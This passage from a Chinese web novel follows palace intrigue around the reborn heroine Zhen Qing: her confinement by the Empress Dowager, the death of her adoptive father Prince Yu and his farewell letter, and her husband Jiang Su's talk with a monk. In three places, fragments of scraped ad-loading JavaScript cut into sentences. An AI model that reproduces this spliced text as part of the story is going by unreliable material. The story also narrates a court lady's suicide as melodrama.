她站起身,刚想要说一句话,却见义宁的脚步一顿,看到她的时候,只是轻轻蹙了一下眉峰,随后径直在她身边走过,甚至还带起了一两风。 没有迟疑,没有停留,仿佛就是陌生的过客。 枕清不知道心中该有何种感受,但是她的心确实失落了一下。 果真人死了,谁也不记得她了。 她嘴角勉强地弯起,看向在床边的太后殿下,说出自己的想法道:“既然太后殿下已经回到了自己的寝宫,我想我也不在宫内多留,能否派人带我出宫。” 云嘉颂没有放过枕清离开自己身边的意思,她装作没有听到,指了指地面,仅对身旁的宫女道:“给她打个地铺,晚上就睡在这里。”再贴心地补充道,“被褥厚些,地寒。” 枕清嘴角抽搐,她对云嘉颂的野蛮总算看出些许苗头来,她冷笑一声,看着应“是”的侍女,更是觉得自己心梗,就好像有东西堵着,出不来。 第一次在一个女人身上吃了亏,她憋屈,却也想着这位太后殿下一定不能困她一辈子。 枕清开口道:“太后殿下若真的体恤我,觉得地寒的话,那便命人送我回去。” 云嘉颂只是轻轻瞧了一眼她,没有开口说话,就连继续搭理的意思都不曾出现。 见此模样,枕清宽慰自己宽慰到后半夜,太后殿下早已躺在了床上,枕清一直坐在一旁的蒲团上,右手靠着凭几,整个人慵懒地侧躺着,随后半边身子都发了麻。而床榻上的太后则是瞄了一眼枕清,也没理会她的动作,继而又睡了过去,她明早还要早起去上早朝。 枕清缓缓坐直了身子,看都没看一眼地上的褥子,蹑手蹑脚地想要走出房门外,云嘉颂早就知道枕清会这般做,她出声道:“殿门有人,你出不去。” 枕清挺直脊背,转身又调转了一个方向,打算去窗户那边,那道声音再次响起,“窗外也有人,倘若你真的想走,只能硬闯,但是宫中暗卫极多,我不知道你会不会被当成刺客乱箭穿心而死。” 简直像是明晃晃的威胁,听得枕清简直是...... 她笃定自己今夜无法出去,嘴硬道:“我哪里是想逃,只不过是觉得这大殿内太过闷热,想要透口气,吹会风。” 云嘉颂缓缓睁开眼,直直地望向枕清道:“这么大的地方都觉得闷热,那么外边的那口气,也不足以你喘息。” 被哽了又哽的枕清总算知道明白这太后殿下的脾性当真是十分古怪,但也确实没有什么更多的坏心眼,起码在现在,在此刻,枕清并未发觉出来。 或许正是因为这样,才让江诉觉得这位太后殿下,似乎也没有那么糟糕。 枕清原是不想说话,可是看着她目光一动,忽而心生一计,继而又道:“这里和外边哪里能一样,难不成殿下觉得宫内与宫外也能一样么?如今的我就如同笼中鸟,和外边振翅能飞的麻雀都比不上,倘若你再困我困得久一些,我怕是连怎么飞、怎么走都不会了。” “这话倒是严重,今日才是第一日,你着什么急。”云嘉颂知晓枕清警醒的意图,“禹王都不曾着急找你回去,你就安心留下,宫里是吃人的地方,但你在我眼皮子底下,没人敢吃你。” 说着好像自己有巨大的靠山一样,枕清也不纠结了,既来之则安之。 她见太后殿下今日话有些多,于是大着胆子道:“我想要给江诉写信,还有叫阿耶把我的银两带进宫里来,倒也不是我觉得着宫内会少我什么东西,只是我着实不放心太后殿下。”她笑眯眯指了指地上的被子,“这就是证据。” 云嘉颂失笑道:“允了。” 片刻后陷入了短暂的沉默。枕清并不是没有睡过地铺,当初在雷州与陈琅一起的时候,就连铺上几根稻草都能安然入睡,可如今看着那几床干净的褥子,无论怎样,都睡不下去。 于是她抱了一床被褥,蹑手蹑脚地爬上了太后殿下的床榻,云嘉颂感知到枕清的动 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 作,也只是轻轻一笑。 枕清躺上床,却没有睡着,她脑海中浮现了许多画面,呢喃道:“殿下,今日究竟发生了什么?你是与阿耶和解了吗?” “和解?”云嘉颂颤声道,“没有和解,永远都无解。” “那你这是与我和解了么?”枕清想到之前她们两人都不曾见过彼此,却也感受到彼此之间的锋芒争对。就好像是从未见过的敌人,可是在见第二面的时候,所有事情都发生了天旋地转的改变。 她们这样的状态,俨然不是对立的样子,甚至温和到有些过分,不免让枕清错愕。她还与郁华隐有过结盟,当下的枕清也只能走一步看一步。 云嘉颂闻言,她抬起深黑的眸子,凝视她半刻,道:“我和你有过仇怨么?我怎么就需要与你和解了?你和我都是被他操控的无辜者。” 枕清静静地看着她,听她缓缓道:“枕家是因为先皇的自私自利才满门抄斩,而你的阿耶也是顺水推舟的凶手,所以我带你回来,他没有办法,也不敢阻止。他对不起你。” “我知道。” 枕清很早就已经知道了。 云嘉颂深深地瞧了她一眼,怪不得这一路上枕清从未提起过枕家。云嘉颂道:“所以你想怎么做?” 枕清心中早已有数,况且上一世她也杀了禹王,这一世,许多事情还没有找到答案,自然不能先贸然动手,况且她也早就不恨了。 心中一片清明的枕清面上却露出挣扎道:“可阿耶也是被先皇所欺骗,倘若阿耶真的知道事情的始末,断然不会这般行事。所以殿下,你觉得我应当如何做?你说阿耶听君话是对还是错,而我变成孤儿,究竟要不要报仇,杀了他?” 云嘉颂呼吸猛地一顿,她心中惶惶挣扎,可始终没有开口说话,也没想到枕清居然会说在自己面前说出这么大逆不道的事情。她不知道枕清究竟是真的如此大胆,还是说她只是想试探自己的反应。 “你自己抉择。”云嘉颂留下这一句话,当即转身,像是要入睡的模样。 枕清知道太后殿下没有睡着,她慢慢道:“我不想杀他。” 这句话在夜晚中显得极其安静,叫云嘉颂听得极其清晰,她身体不可避免地一僵,却也任由自己像是什么都没听到一般,继续闭眼。 所有人都觉得是禹王做的,无论是枕家的事情,还是她身上的毒,亦或是那些动作,可这些所有的东西越是指引在禹王身上,越是叫枕清怀疑。 阿耶说刺杀的人是女相的男人,那么便不是薄映禾所动的手。 如果禹王真的死了,那么就到了死无对证的情况,从而引起她对薄映禾的怀疑,倘若禹王没有死,是想她与禹王互相残杀,而这背后之人坐享渔翁之利? 她嘴角微微勾起,不是笑意,而是深深寒意。 - 这段时日,枕清一直在皇宫内,看着太后殿下的动作,偶尔还会推几本在枕清身边,枕清倒是没有什么避讳的直接去看了。 无非都是河东那边的局势,陇右那边有符生枝坐镇,倒是一片祥和。 枕清看到忻州已经被江诉拿下,而阿之奎等人又退回了晋州神山,这一次次的助力与攻势之下,江诉的战绩赫赫,势如破竹,军中的威望更是无可比拟。 “你觉得应当给江诉是何奖赏?”太后殿下看向枕清,枕清拿起册子的手微微一顿,忽地抬起脑袋指了指自己,她笑着道:“果真要我说的话,无非就是权与钱。” 自古以来都是那么赏赐的,云嘉颂还以为作为枕清的郎君在她口中多少会有些不一样,但对于枕清这样的,又能有多少不一样?云嘉颂忍不住在她脸上瞧了又瞧,可是枕清已然逐渐焦灼。 因为她确实有些待不住了,她回到长安一是为了郁华隐,二是为了薄映禾。 郁华隐早已被她安排妥当,而现下的她被困在皇宫内,找不到薄映禾的行踪,倒是真有些坐立不安,她即使再怎么能维持表面的平和,也不能真的一直在这无动于衷。 “太后殿下,既然不放我出宫,那么你能否帮我找一个人?” 枕清缓缓掀起眼帘,一双眼灿若星辰映,闪着坚毅的光,仿若在下一刻就能化身成飞蛾,扑向火炬之中。 云嘉颂能读出枕清那双眼睛带着不容拒绝,如果她真的不应允,就算死,枕清也会反抗到底。她总算明白,禹王和她所说枕清的“不要命”这个称呼到底是怎样来的。 云嘉颂启唇道:“是谁?” 既然来了长安,那人又是朝枕家而来,势必只和枕家有关,她开口道:“我的姊姊,枕灵。” 109. 端忧懒步封尘心(四) 长安的景色,并无二般。枕清常常走在长廊之下,看着荷花池底下的暗流涌动,忽而遇到了一行巡查的队伍,枕清看到了为首的那位,当即喊住了他,那人闻言停下了步子,眉眼中能看出惊讶闪动了一下。 这偌大的皇宫城内,枕清认识的人寥寥无几,她看了一眼那一群人,也不避讳地托他帮自己一个忙。 能在皇宫之中自如的巡查,除了师坤尧,再无旁人。 师坤尧自从枕清出现在太后殿下跟前的第一日,就已经认出来她就是之前的小县主。几年前小县主身死的消息传了出来,师坤尧还以为自己的秘密已是到了无人知晓的地步,至于当初答应枕清要帮她做一件事情,都可以不应允了。 现如今看来,还是要做那一件事,但是师坤尧并没有觉得有何可惜的,甚至还有点庆幸枕清还活着。 师坤尧让手下们按照原本的去巡查,而他问枕清道:“你让我帮这个忙,是不是能抵消上一次,你救我的恩情?” 枕清闻言一乐,她没想到师坤尧这么敢想,她直白摊手道:“叫你给人传个话大概不难吧,居然想用一句话来抵消我救你的恩情,师内侍倒也真是敢想,如果叫你给谢二郎传一句话这件事对你而言太难,那么我也不强你所难。” 还真是一如既往地犀利,一如既往地不肯吃亏。 和当初的性子可是一点没变。 这些日子,师坤尧也听到太极宫的侍女说枕清对太后殿下也极其放肆,没有任何一点惧怕之意,为首的侍女好意提醒枕清,枕清却说:“如果一个人瞧不上你,无论你这么谦卑恭敬,她依旧瞧不上你,如果她看得上你,你就算是在放肆高傲,她只会夸你真性情。”她咧嘴笑道,“我倒还真希望太后殿下瞧不上我些,尽早放我出宫去。” 思绪逐渐远,师坤尧望着枕清,她手中捧着方才侍女所采摘给她的荷花,面颊上眉心那一处花钿悠悠明明地闪着,仿若与之相呼应。 含凉殿依水而建,雄伟厚重,长长的廊庑仿若没有尽头,四周底端都是荷花莲池,就连吹来的夏风都无比地清凉静谧。 没有听到回答的枕清自然觉得委托师坤尧是行不通的,她当即转身离开了此地,顺带将莲蓬籽送入嘴中,好好想一想究竟该如怎么叫谢长昀和自己见面。 夏日的阳光闷热,枕清穿着一身秀净的绿色衣裳,像是飘飘摇曳的荷叶,长廊上方,当初宴席挂上的花灯尚未摘下,一路映照她回去的路,仿若是遮天蔽日的大道,成千上万的灯盏,也不足她一人璀璨。 师坤尧看着她远走的背影,忍不住朝她的后腰望去,那里是不是还有他所留下的一道伤口。 师坤尧在枕清面前,的确没有明确地答应,可是最后还是去告诉了谢长昀。 那时候他们三人也曾碰过面,那是一个雨天,师坤尧威胁了枕清,在她后背刺了一道,才堪堪躲过谢长均的搜查。 枕清见到谢长均的时候,并没有任何准备,出现在自己的视线之内还轻轻惊讶了声,倒不是因为有些害怕,而是有些让人觉得惊奇。谢长均整张脸都张开了,看起来比前几年更加俊朗,她笑着让谢长均等一下。 谢长均也依言等了。 他心中也有一肚子的疑惑想要问枕清,可是又发觉自己没有任何立场去问她任何问题,自从上回的及笄礼后,长安寂静了许久。 这边的枕清一直把谢家的兵符留在自己身上以备不时之需,现下真的要还回去,倒是真的有些不舍得这个可以称之为后手的东西。不过日后向谢长昀借兵应当也不是什么难事,枕清如此想着,又走到了谢长均的跟前。 她抬起手,将用手帕包裹的兵符递给谢长均道:“我当初在路上遇到了一个小厮,在他身上拿到的,一直都想给你,都是没有机会,现下就当物归原主了。” 谢长均当下一碰到就已经清楚地知道这个是何物,他眼睛瞬间一亮,看向枕清的眼神带着无尽的疑惑,那疑惑之中还有向死而生的欣喜。枕清不为所动,她再次一瞧,还是没抗住那样的神情,她嘴角牵起笑容,十分大方道:“没什么的,都是小事。” 虽然彼此都知道这压根不是什么小事,而是天大的事。但是宫内人多眼杂,他们也不敢多说什么,谢长均拱手道谢。 随后,他又笑着将手中的兵符收入囊中,面上羞赧,忽而想起阿娘的叮嘱,说让他找一位如意娘子,便觉得眼前的人似乎也极为合适,恍恍惚惚想到阿姐说对付女娘需得近身,让女娘的心随着你而跳动,那么就是成功的开始。 谢长均大着胆子,走前一步,刚想要俯身抬手弹正枕清耳畔的翡翠耳坠,不知道是不是枕清发觉了他别有深意的动作,先一步退开,拉开两人的距离,枕清微笑道:“不必再言谢,倘若我日后有用得着谢二郎的地方,还望谢二郎能相助。” 谢长均掩饰眸中的失落,他跟着笑道:“这是自然,小娘子是我们谢家的大恩人。” 枕清颔首,她有意面露忧思道:“现如今大启急需要兵力的时候,我还有些担忧河东连绵的战火,我与江诉成亲尚浅,心中还是挂怀着。” 我与江诉成亲尚浅。 谢长均听到此话,脑中的一座山轰然倒塌,神情骤然一变,他整个身子都随之而来的僵硬,仿佛没有回过神来,良久后,他匆匆后退道:“没想到小娘子与江丞相成了亲,江丞相的确是个很好的人,与小娘子极其相配。” 听到这话,谢长均仿若松了一口气。江诉是个很厉害的人,倘若枕清选择的是他,谢长均自然是无话可说的。 他面上重新挂起微笑,非常标准地拱手告退后,脚步稍微踉跄了一下,却也仅仅只剩下释怀。 在不远处的太后看着这一幕,掩面笑着跟旁边的义宁道:“她就是看得太清楚了,心里只能装得下江诉一个人。倘若是我,我一定不会说,若江诉真的战死了,或者是我不喜欢了,我还能退而求其次,把每个人都收进来。” 义宁不知道自己该作何反应,可是枕清不会是这样的人。她是宁缺毋滥,不喜欢的,她不强迫自己去沾。倘若是她喜欢的,那么就算是那个人再不起眼,她依旧会放任自己靠近。 “你说,文征是不是和枕清很像?”太后殿下没有听到所想要的回答,徐徐望向他。 “不像。倘若是感情,或许是的。”义宁拱手道,“禹王的事情,殿下还想要瞒着沿溪多久?” 云嘉颂看了一眼义宁,她面色淡淡的,气度确实一如既往地沉稳:“你这是在怪我吗?怪我瞒着她,可是你不也瞒着她么?你啊你,心思都藏在心里,还真以为谁都看不出来了么?” 义宁道:“她本就不喜欢我,我们两人从小到大就从未好好相处过,现如今都已经有了各自的生活,装作不认识也未必不是一件好事。” 下一辈也有下一辈的苦孽要走,云嘉颂也不多言,她开口道:“你阿耶一直催着我给你找亲事,我觉得许家娘子或许不错,要不要见一见。” 义宁本来就无心娶妻,只钻研在医术身上,还从未对旁的东西花过心思,他出口就是想拒绝,云嘉颂哪里看不明白,她继续道:“那徐家小娘子和你一样,也是医痴,或许你们两人在婚后还能讨论一番,不许这么着急地拒绝我,见一见也未必是一件坏事。” 听到这里,义宁就已经察觉到难以拒绝,他深吸一口气,抬眸看着枕清离开的背影,倏地道:“好,那就见一见。” 这见一见的事情还是传进了枕清的耳中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,倒不是她消息能有多灵敏,当然是因为太后殿下跟她说的。 这许家小娘子枕清还是挺熟悉的,上一世她当皇后的时候,召见这位小娘子,在那时候竟也结成了深厚的情谊。 不过这情谊也只是那小娘子想要攻克疑难杂症的情谊。 枕清在太后殿下别有深意的眸光下,若有所思道:“许家的小娘子,是个很好的娘子,本事好,心思又细腻,您倒是为义宁寻到了一个好娘子。” “你怎么就知道她好呢?”云嘉颂道,“或许也只是表面。” 枕清头也不抬地直接道:“世上多薄情寡义的郎君,倘若义宁待自己的妻子好,那么女娘定然也不会无缘无故生起蛮横,殿下不妨看看,普天之下,倘若男子能够做到江诉这般,能有几人惧怕婚姻,又有几人会觉得自己的妻子不好呢。 “这拍打的力是相互的,那么人也是相互的。你对我好,我自然也对你好,你对我不好,那么我又凭什么一定要对你好呢。感情不是绝对的事情,不像是做一件事情那般武断,自古的以柔克刚,也不无道理。” 云嘉颂没想到有一天,她竟然也会听人讲起大道理来,她不免失笑。 枕清倒是看得明白。 从前她总是觉得一件事一定有个输赢对错,既然是一件事情,那必然有谁占理,占与上方,可是感情这件事,本就是难以诉说的,倘若真的要用好坏来说,倒真是太过了。 生活本就是过日子,哪有什么时刻的斤斤计较。 枕清见太后殿下没说话,她也干脆地闭上了嘴。 枕清在太后殿中发现了不少好玩的东西,也摸清楚了朝中局势,明白了大臣各自所占的队伍,一个个任命罗列出来,分外醒目。 所以太后殿下会信任江诉,是一开始就把他归为皇家的利剑,无论是真的追随禹王,还是任她驱使,都是无伤大雅的小事。可是在这后边,太后殿下又写了一个人名,那名字是她。 枕清再次翻开后边的纸张,那是一份又一份的恳辞,写着她无数的功绩。 和上一世一样,一份是枕家,一份是她。每当看到那些字的时候,枕清总觉得身体涌动过一股热流,不是兴奋,亦不是惊讶,更多是有人将自己放在心尖上的滚烫暖意。 起初她面对江诉的这份爱坦然应对,因为她告诉自己,自己也是爱着江诉的。可随着时间,她逐渐变得惶惶不安,她发现自己无法回馈江诉这份巨大且宽容的爱意,所以令她更加难受,她深深陷在无法反馈的自责中。 她与江诉不同,她要寻找真相,要为枕家平反,还想要身旁的朋友、家人平安健康,也希望江诉得偿所愿,更愿天下百姓不受征战之苦。 当夜,枕清做了一场梦,看到了江诉与一位大师交谈,枕清听到那人问江诉:“阁下有喜欢的人吗?” 江诉平淡地回道:“有。” “那怎么不去找她?” “不敢,她说恨死我了。” 智者大师眺望远方,缓缓道:“恨亦是爱,恨亦是恋,恨更是不肯忘却的执念。” 江诉苦涩一笑,怅然道:“她无爱亦无恋,早已了却尘世执念,驾鹤瑶池。” 枕清的心随着这句话停止跳动,随之而来的是心绪震颤,好似离了魂魄。 可在下一刻,枕清调整了原本屏住的呼吸,她正想要说话,却发现自己醒来了。周围是已经熟悉的大殿,她缓缓坐直身体,脊背已被汗水浸湿,她魂不守舍地唤了侍女过来,说自己要沐浴更衣。 这场梦太过离奇,也太过真实。枕清脑海闪过陈琅所说的,江诉与他的师祖相识,那么这次的重生,会不会与江诉有关? 倘若真的有,那么代价又是什么呢? 110. 端忧懒步封尘心(五) 代价是有的。 妙言寺位于河东道,四周的景色依山就势,层层递高,分布大小不一的古殿。 江诉待将城池夺回来之后,再次去了那座庙宇。庙宇中的那位智者大师好像是早已经知道江诉回来,早早等在在寺庙的一颗高而茂的梅花树下。 望着那一抹挺拔清俊的身影,智者大师手中的佛珠转动,笑着道:“你终于来了。” 江诉看到熟悉的人,也跟着微微一笑,他走上前去,颔首道:“这个地方,好似从未有过任何变化。” 智者大师随着江诉所望之处看去,处处皆是草盛碧绿,红黄的正色镶嵌其中,更显得清幽庄重,一时之间说不清究竟是大自然的鬼斧神工衬得好,还是神明香火镇压得更胜。 智者大师缓缓走动,经过雨花殿,掠过放生池,最后将人带进了自己的禅房之中,开始摆动棋盘,示意江诉与自己再下一局。 从一开始,江诉就已经留意棋盘上的棋局,那是上一世未走完的棋盘,他诧异地望了一眼智者大师,没说出那一点的疑惑,心照不宣地走完未走完的棋局。 智者大师一心二用,他开口道:“阁下有喜欢的人吗?” 江诉依言答道:“有。” 智者大师又问:“如何了?” 江诉嘴角没忍住,泛起笑意,他声音含笑:“我们成亲了,她成了我的娘子,我成了她的郎君。” 智者大师指尖拿着黑棋微微一顿,他瞧了一眼江诉,心中蓦地一软,不知道该如何说才好,他戏笑道:“你做到如此,真的不后悔么?” 知道智者大师所指是何事。 棋局全部归位,所有人重生后,他依旧为了枕清留在这个世界上。 可是,已经在这里生活几十载的江诉,真的能回得去么? 也许回去之后,等待他的不是自己当初所看到的美好世界,他的躯体在那个世界早已经死亡,抑或是垂垂老矣的姿态,也有可能那样的世界也只是他曾经做过的一个梦,一个真实又破碎的梦。 记忆早已经混乱不堪,这个世界上早就没有和他一样的人,那么他能选择的,也便是变成同类。一个人无法维持原本所特有的东西,更何况他一人的力量如此微弱,在这个世界上根本无法施展,江诉妥协了。 他不再强迫地逼自己,他微微笑道:“不后悔。我到这个世界,算来也有三十多载,我的心性、作习都已经与这个世界无异,我即使能回去,只怕也再难融入。万般皆是命,我已经与这个世界作对半生,最后发现,所有苦孽始终都是落在自己身上,那我何不开怀一些,也不给自己找那些不痛快。” 如果是在许多年前,他说的这些话,对于江诉而言,一定是锥心刺骨之痛,宁可要自己鲜血淋漓,也要和这老天作对到底,可是当下的江诉真的斗不动了,抑或是他不想再斗了。 他继续慢慢悠悠道:“况且,这个世界也没有那么坏,我遇到了我心爱的人,她是我活下去的唯一。” 智者大师竟然在江诉眼中看到从未有过的洒脱。 他见过偏执、克制、麻木的江诉,原以为江诉会就这么了了度过一生,抑或是和阿之奎那位郎君一样,要为自己杀出一条血路。 他从未见过江诉居然还有这样一面的状态,和蔼的眸光一转,笑起来:“你有佛缘,度过苦难,会见春山。” 江诉脑海中浮现出枕清的身影,指尖落下最后一子白,道:“大师承让。” 智者大师缓缓看向棋局,发现自己早已经被逼得无路可退。顷刻间,一瞬恍惚,他终是还是看不清江诉,不知道是江诉想开了甘愿放弃,还是说他妥协了。 窗外的郁郁葱葱的树木逐渐变得明亮,照射的阳光透过绿叶,像是在眼中形成了别样的光彩,安宁又祥和,仿若一下回到了最惬意的时候,叫人忘却时间,忘却整个世界。 皇宫内的芭蕉叶早已褪去了新绿,枕清手支着脑袋,坐在阁楼的最高处看着底下形形色色的人,若有所思。 她在皇宫内穿行十分自由,没有任何约束与管制,除了没办法出宫,似乎任何事情都可以做。 有不少宫女开始咬牙耳语,说太后殿下极其宠爱这位小娘子,就好像是太后殿下的孩子。 谣言像是妖风般肆起,自然也传到了枕清的耳中,枕清在太后旁边旁敲侧击地提醒,却发现太后殿下动了手,这些流言因为这股强势的力量,不明觉厉地销声匿迹。 枕清逐渐发觉自己在宫中的消息并不闭塞,不仅能听到河东的消息,偶尔也会讲起陇右的,上回还见到了罗长观,以及身旁的小花明。 花明跟在罗长观身旁多年,竟也成了小仵作,破了长安城内大大小小的案件几十起。 明明一切都是这么井然有序地进行着,可是这其中的古怪还是让枕清琢磨出一点不对味来。 既然如此,这些都不足以到太后殿下困住她的地步,或许太后殿下也发觉了什么,利用她来引诱出某个人,抑或是想要对她隐瞒某一件事情。 前者枕清倒是觉得可以排除在外,因为这件事除了她自己,还有跟她一起分析过的江诉,便再也无旁人能知道,倘若真要说一个,那么也只能是薄映禾。 所以只剩下后者。 太后殿下究竟是想要隐瞒什么呢。 枕清想到从禹王府中离开的最后一眼,她好像已经找到了答案。 枕清面上平静无波,强作镇定,可内心还是有那么些许的不安,她道:“殿下,你把我困在宫内,是因为你不想让我见到阿耶,阿耶是不是因为上次受的伤,时日无多了?” 那人既然想要她和禹王互相残杀,但是没看到目的达成,自然不会罢休,所以那个人只好自己动手了。 云嘉颂知道自己没有骗过枕清,跟裴祉敏也说了,能骗一日是一日,能拖多久是多久。倘若有一天枕清自己发现了,那么她不会再帮忙把人困在宫中。 “是啊。你要回去吗?”云嘉颂问。 “我要回去。”枕清站起身道。 云嘉颂是这么说的,可是她没有退让的意思,站在殿门的中央,身后许多侍女都在留意着她们二人,将脑袋垂得极低。 枕清已经在这里耽搁太久,她不想再在皇宫之内,更不想围绕在太后殿下身旁,她正想要侧身绕过太后殿下走向门口,太后殿下强硬的声音响起,“他已经死了,你现在回去也已经来不及。” 听到这句话的枕清忽而觉得这些日子紧绷的那根弦猛地断了,她要往前走的脚步一顿,她整个人原本提拨的脊背像是锤子猛地锤下,脊背与肩膀竟一点点地弯了下来。枕清脑袋稍稍歪着,她眼底泛起猩红的痛意,脚步一点点挪到殿门口,忽而有些撑不住自己的身体,她的手撑在殿门之上,五指用尽力气。 她缓缓仰起脑袋,看向碧蓝的天空,想要呼出体内的污浊气,没成想,直接吐了一口血。 为首的侍女见到此情此景,想要上前的脚步顿了顿,始终没敢上前来。 枕清抬手擦干净嘴角的血迹,她嘴角轻轻一弯,冷声道:“多谢殿下提醒。” “我留你这么久,你当真不知道我是什么意思么?”云嘉颂回首凝视枕清这副惨烈模样,她从头到尾仿若都是一个局外人状态,“枕清,他们都说你聪明至极,在我今日看来,你也不过如此。” 让她看清朝中局势,让她学会批阅劄子,让她熟悉宫中大小事务,太后的心思,枕清明白,太后殿下想让她成为自己的后手,甚至在某一刻接手所有事务,让她摄政。 枕清眼底浮起的薄雾蓦地压下,她松开撑在门扉上的手,半侧身子散漫地倚靠在红檀木柱上,眼神尽是轻蔑,她冷冷微笑道:“我本就是一个普通人,殿下留我至此,要让我做这件事的时候,你可曾问过我的意愿?殿下,我现在告诉你,我不愿意。” 彼时的枕清浑身都像是没人骨的样子,若不是方才她吐了血,所有人都一定会以为她就是一个胆子大的野小子。可若是再走近些,看清枕清的面容,那么又会觉得枕清这般模样,无论摆出怎样的姿态,都如同画中仙一般。 但现在没人有心情去想这些。 云嘉颂转身走来,绣着金丝凤的鞋面踩在毛毯之上,明明没有发出任何一声响动,但所有人都觉得那每一次的走近,都像是碾压在枕清身上,不由都深吸了一口气,留意这两人之间的举动。 云嘉颂声音裹挟寒意,她凌厉地看着枕清道:“郁华隐在你手中,由不得你愿不愿意!” 枕清不是第一次听到这么不讲理的话,可是她自己也觉得自己是个野蛮人,不讲理碰上不讲理,未必就是无解之题。 “由不得我?太后殿下,你是不是忘了,我始终都是我,”枕清嘴角咧开一点笑容,无惧一笑,“生死自然也都由 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我自己说了算,当然,你想现在杀了我也可以。” 竟然还涉及生死之地,满殿的人都诚惶诚恐,所有人齐齐下跪。 风都朝一边倒,大家都不敢出来说枕清的好。 为首的贴身侍女心中挣扎万分,正想要开口说点什么,却看到太后殿下抬手,大监带来了一个人,她挑眉问向枕清:“你的生死你不在乎,那么她的呢?” 枕清看清那个人,居然是宁千渝。 她穿着七品女官的服饰。 枕清倒是明白了太后殿下的手段和意思,她没有再和太后殿下对峙,而是深深望向宁千渝,她嘴角勾起残忍的笑:“是你啊,当初我救了你,你说过你会把命赔给我,现如今殿下要拿你的命来威胁我,我想,你应该知道如何选择?” 这话里虽有疑问,可是早已经为宁千渝指好了路。所有人不禁震惊枕清强悍的内心,更是可怜这个被当作靶子的女官。 宁千渝原本以为自己再也见不到枕清,可是再次看到的时候,还是忍不住地看了又看,明明枕清句句都是让她去死的意思,可是她还是那么甘之如饴。 这条命本就是属于枕清,她自然也不愿意看到有人想要拿她来威胁枕清。 宁千渝眼含热泪,她重重地朝枕清磕下一个头,挣脱身旁大监的桎梏,当即朝一旁的柱子而去,脑袋瞬间染上红色的血迹,直挺挺地倒在大殿之内。 所有人大惊失色,惊讶于她的强硬,更没想到这人竟然真的肯为枕清而死。 枕清轻轻一哂,她可笑地望着云嘉颂,留下一个轻蔑地眼神,径直朝外边走去。 身形摇晃踉跄,明明每一步都是那么艰难,可又是那么地坚决。 而枕清一个眼神都没在宁千渝身上停留,仿若死的仅仅只是一个最无所谓的过客。 云嘉颂这回真的明白,谁也不能逼着枕清的脚步,逼着枕清为了某个人而停留,能看上一眼,或许就是她最后的让步。 强硬的人她见过,可如此强硬的人,她还是第一次见。 无所畏惧,没有软肋的人最难对付,也最合适。 即使这时枕清赶回禹王府,也早已经来不及,只能看到灵牌放在灵堂之中。 老管家这几日哭断魂了去,见到枕清后,期期艾艾地喊了一声小县主,将库房的钥匙、各处宅院铺子统统都递给了枕清,其中还有放在最上方的一封信件。 她失神地垂下眼,看到那熟悉的字迹没有往日那般端正,几乎在下一刻就能明白这是禹王忍着痛给她写的。 枕清亲启。 落下这句话之后,信上滴了两处墨迹,不知道是因为停留良久,还是说不知道如何开口。枕清还未完全打开,眼泪就已经模糊了视线,顷刻间又夺框而出,随即清明,信件上的字迹仿若刻在她心上。 ——启:溪奴见此信,阿耶已不在。 仲夏顿热,时毒方甚,台殿将避暑,溪奴多留之。近日多思,恍如大梦。 重得两世,吾感上苍之馈赠,更感溪奴之原谅。 少时间得枕(家)之真相,吾与阿兄失罪于枕(家),吾不敢祈蒙见恕,愿吾几世福泽予汝。吾心有愧,不敢见汝,勿怪殿下,吾终不辞,唯愁于汝。 行言至此,溪奴莫哀莫泣,阿耶沉溺苦海,长夜执固,终不能改,此经一去,是为脱离苦海。 耶耶留。[1] 枕清紧紧握住这张纸条,她整个人因为情绪起伏过甚,摇摇欲坠。 阍人见她面色苍白,欲上前扶助的手因她悲沧的目光就此顿住。她从未见过这样的枕清,发鬓上只有一支藤曼所做的木簪,整个人看起来清丽又单薄,惺红的双眼弥漫出一股绝望而尖锐的戾气。 他们都忘了,禹王是害死枕家的真凶,即使生养了十多余年,仍旧改变不了这样的事实,就好像是一把匕首插在身上,一呼一吸都能感受到巨大的痛意。 众人看着枕清逐渐走远,只有前来吊唁的小顺子小心翼翼地跟着枕清身后,神情藏着担忧。小顺子能看得出枕清也是极其敬爱禹王的。 枕清一人孤寂地坐在院内,见黄昏落幕,看月上枝头,都不曾离开。 明明晚风那么寒凉,可她好像还是感受不到冷一样。 许久后,小顺子想要走出来,忽地听到声音,全身跟着一颤。 枕清捂面,悲痛出声,声泪俱下。 111. 端忧懒步封尘心(六) 这件事也传到了商震这处,商震面色大惊,心绪跳动得厉害。 他虽然难受,但是已经到了这把年岁经历了不少生离死别,早已经明明知晓有所准备的事情,可是真的到了这么一天,这么一刻,他还是会有这般大的反应与难受。 江诉自然也听到禹王故去的消息,他心中不免叹息,禹王在他心中,算是一个为了百姓乐意付出的人,得如此诚心之人,朝堂之上少之又少。 可最最难受的,应当是枕清,他不免担忧起了枕清。枕清是个很强作镇定的人,即使难受,也不会在外人面前悲痛大哭,只会躲在那个角落之中,将自己胆小怯弱的一幕藏起来,见到人后,又将自己坚硬的外壳展露出来。 上回卷柏的事情,就已经让江诉看明白枕清遇到每一件事不同的样子,他心中虽是焦灼,但河东的事情甚多,自己也挪不开身。 但他也给应钰与太后殿下各一封书信,希望能够多关照一下枕清。 虽是这么写的,但是江诉在河东的动作也逐渐加快了动作。 云行野包围了定襄,但未攻下。 当江诉率着张飞飞与邓跃的军队到了秀容,邓跃道:“此地交战,恐怕是僵持不下,况且早些年前商震、周锡位在此处都很长时间决不出胜负来,原因就是对方扼守住了险要关口,况且我们此时的兵力甚至还不敌商震将军,只怕是更难攻取。” 江诉默想了许久。 邓跃又道:“现在阿之奎守备防御已经稳固。即使玉皇大帝再生,也施展不出本事。您不如向南夺石岭关,渡过牧马河向东,进入敌人的腹地,置军于必死之地。这样主帅在这,河东之围便会不战而自解,届时阿之奎守敌必定顾虑后方而逃走。周围的城池解决了,定襄便可坐而取之。如果我的计策可行的话,我愿意为您做前锋。” 江诉微微一笑,说:“你的计策倒是很好,但是现在张宣晟包围着箕州、周犹据守着阳曲,李酌赋把守着赤塘关,无法通过,怎么能到达呢?即使到达了,你怎么确保他的援军不会比我们先到?” 